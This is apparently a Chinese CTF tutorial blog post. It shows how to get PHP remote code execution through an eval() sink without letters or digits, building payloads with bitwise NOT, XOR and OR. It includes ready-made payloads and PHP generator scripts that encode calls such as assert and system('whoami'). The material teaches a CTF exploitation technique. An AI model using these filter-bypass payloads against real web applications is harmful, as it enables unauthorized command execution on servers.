目录

PHP取反异或实现无字母数字rce

对于CTF web入门php eval代码执行题目,考察无字母数字RCE时,使用取反异或运算,构造payload,实现PHP无字母RCE

题目测试环境

<?php
highlight_file(__FILE__);
eval($_GET[1]);
1
2
3

5

似乎利用动态调用函数多一点,例如('函数名')();('函数名')('参数');,这样来动态调用实现的

# 取反

测试发现,取反的payload,8.x版本好像不行

示例payload

assert("eval($_POST[1]);");
# payload
(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4);
# POST
1=phpinfo();
1
2
3
4
5

1

取反构造脚本

<?php
/*
 * Author: the0n3
 * Date: 2025-01-21
 */
# 测试用
$cmd = "phpinfo";
echo "(~" . urlencode(~$cmd). ")();";
echo "\n";
# (~%8F%97%8F%96%91%99%90)();

# 构造
$func = "assert";
$params = "system('whoami')";
# 取反
$func = "(~" . urlencode(~$func) . ")";
$params = "(~" . urlencode(~$params) . ");";
echo $func . $params;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

生成payload

2

# 异或

示例payload

assert("eval($_POST[1]);");
# payload
(('%bf'^'%de').('%bf'^'%cc').('%bf'^'%cc').('%bf'^'%da').('%bf'^'%cd').('%bf'^'%cb'))(('%bf'^'%da').('%bf'^'%c9').('%bf'^'%de').('%bf'^'%d3').('%df'^'%f7').('%df'^'%fb').('%bf'^'%e0').('%bf'^'%ef').('%bf'^'%f0').('%bf'^'%ec').('%bf'^'%eb').('%bf'^'%e4').('%df'^'%ee').('%bf'^'%e2').('%df'^'%f6').('%df'^'%e4'));
# POST
1=phpinfo();
1
2
3
4
5

3

写一个脚本,通过不可见字符,异或运算,先构造出可见字符a-z0-9以及其他可见字符

<?php
/*
 * Author: the0n3
 * Date: 2025-01-21
 */
function x0r() {
    // 遍历不可见字符 (ASCII 128 到 255)
    for ($x = 128; $x <= 255; $x++) {
        for ($y = 128; $y <= 255; $y++) {
            $result = $x ^ $y;
            if ($result >= 32 && $result <= 126) {  // 如果结果是可见字符
                echo chr($result) . " : '%" . dechex($x) . "'^'%" . dechex($y) . "'\n";
            }
        }
    }
}
x0r();
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

把可见字符存储在数组里,方便后续调用

<?php
/*
 * Author: the0n3
 * Date: 2025-01-21
 */
function x0r() {
    $results = [];

    // 遍历不可见字符 (ASCII 128 到 255)
    for ($x = 128; $x <= 255; $x++) {
        for ($y = 128; $y <= 255; $y++) {
            $result = $x ^ $y;  // 计算按位异或

            if ($result >= 32 && $result <= 126) {
                $results[] = [
                    'char' => chr($result), 
                    'expr' => "'%" . dechex($x) . "'^'%" . dechex($y) . "'"
                ];
            }
        }
    }
    foreach ($results as $entry) {
        echo $entry['char'] . " : " . $entry['expr'] . "\n";
    }
    return $results;
}

$res = x0r();
var_dump($res);
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

稍加处理,得到最终的异或构造任意rce脚本

<?php
/*
 * Author: the0n3
 * Date: 2025-01-21
 */

# 生成 XOR 对应的可见字符映射
function x0r() {
    $results = [];

    for ($x = 128; $x <= 255; $x++) {
        for ($y = $x; $y <= 255; $y++) {
        # 避免重复计算
            $result = $x ^ $y;
            if ($result >= 32 && $result <= 126) {
                $results[chr($result)] = "'%" . dechex($x) . "'^'%" . dechex($y) . "'";
            }
        }
    }

    return $results;
}

# 将字符替换为 XOR 表达式
function replaceCharWithXor($mapping, $char) {
    return isset($mapping[$char]) ? "(" . $mapping[$char] . ")." : $char;
}

# 拼接整个 payload
function buildPayload($input, $xorMapping) {
    $result = '';
    
    foreach (str_split($input) as $char) {
        $result .= replaceCharWithXor($xorMapping, $char);
    }

   
   # 移除最后一个多余的点
    return rtrim($result, '.');
}

# 生成 XOR 映射
$xorMapping = x0r();

# 构造RCE
$func = "assert";
$param = "system('whoami')";

# 生成最终的 payload
$encode_func = buildPayload($func, $xorMapping);
$encode_param = buildPayload($param, $xorMapping);

$payload = "($encode_func)($encode_param);";
echo "Payload: " . $payload . "\n";
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

生成payload

4

#

示例payload

assert("eval($_POST[1]);");
# payload
(('%61'|'%61').('%73'|'%73').('%73'|'%73').('%65'|'%65').('%72'|'%72').('%74'|'%74'))(('%65'|'%65').('%76'|'%76').('%61'|'%61').('%6c'|'%6c').('%28'|'%28').('%24'|'%24').('%5f'|'%5f').('%50'|'%50').('%4f'|'%4f').('%53'|'%53').('%54'|'%54').('%5b'|'%5b').('%31'|'%31').('%5d'|'%5d').('%29'|'%29'));
# POST
1=phpinfo();    
1
2
3
4
5

5

使用运算操作,重构实现上面异或脚本的效果

<?php
/*
 * Author: the0n3
 * Date: 2025-01-21
 */

# 生成 OR 对应的可见字符映射
function or_generator() {
    $results = [];

    for ($x = 32; $x <= 126; $x++) {
        for ($y = 32; $y <= 126; $y++) {
            $result = $x | $y;
            if ($result >= 32 && $result <= 126) {
                $results[chr($result)] = "'%" . dechex($x) . "'|'%" . dechex($y) . "'";
            }
        }
    }

    return $results;
}

# 替换单个字符为 OR 表达式
function replaceCharWithOr($mapping, $char) {
    return isset($mapping[$char]) ? "(" . $mapping[$char] . ")." : $char;
}

# 拼接整个 payload
function buildPayload($input, $orMapping) {
    $result = '';
    
    foreach (str_split($input) as $char) {
        $result .= replaceCharWithOr($orMapping, $char);
    }

    # 移除最后一个多余的点
    return rtrim($result, '.');
}

# 生成 OR 映射
$orMapping = or_generator();

# 构造 RCE
$func = "assert";
$param = "phpinfo();";

# 生成最终的 payload
$encode_func = buildPayload($func, $orMapping);
$encode_param = buildPayload($param, $orMapping);

$payload = "($encode_func)($encode_param);";
echo "Payload: " . $payload . "\n";
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

生成payload

6

最后一次更新于: 2025/02/04, 18:56:50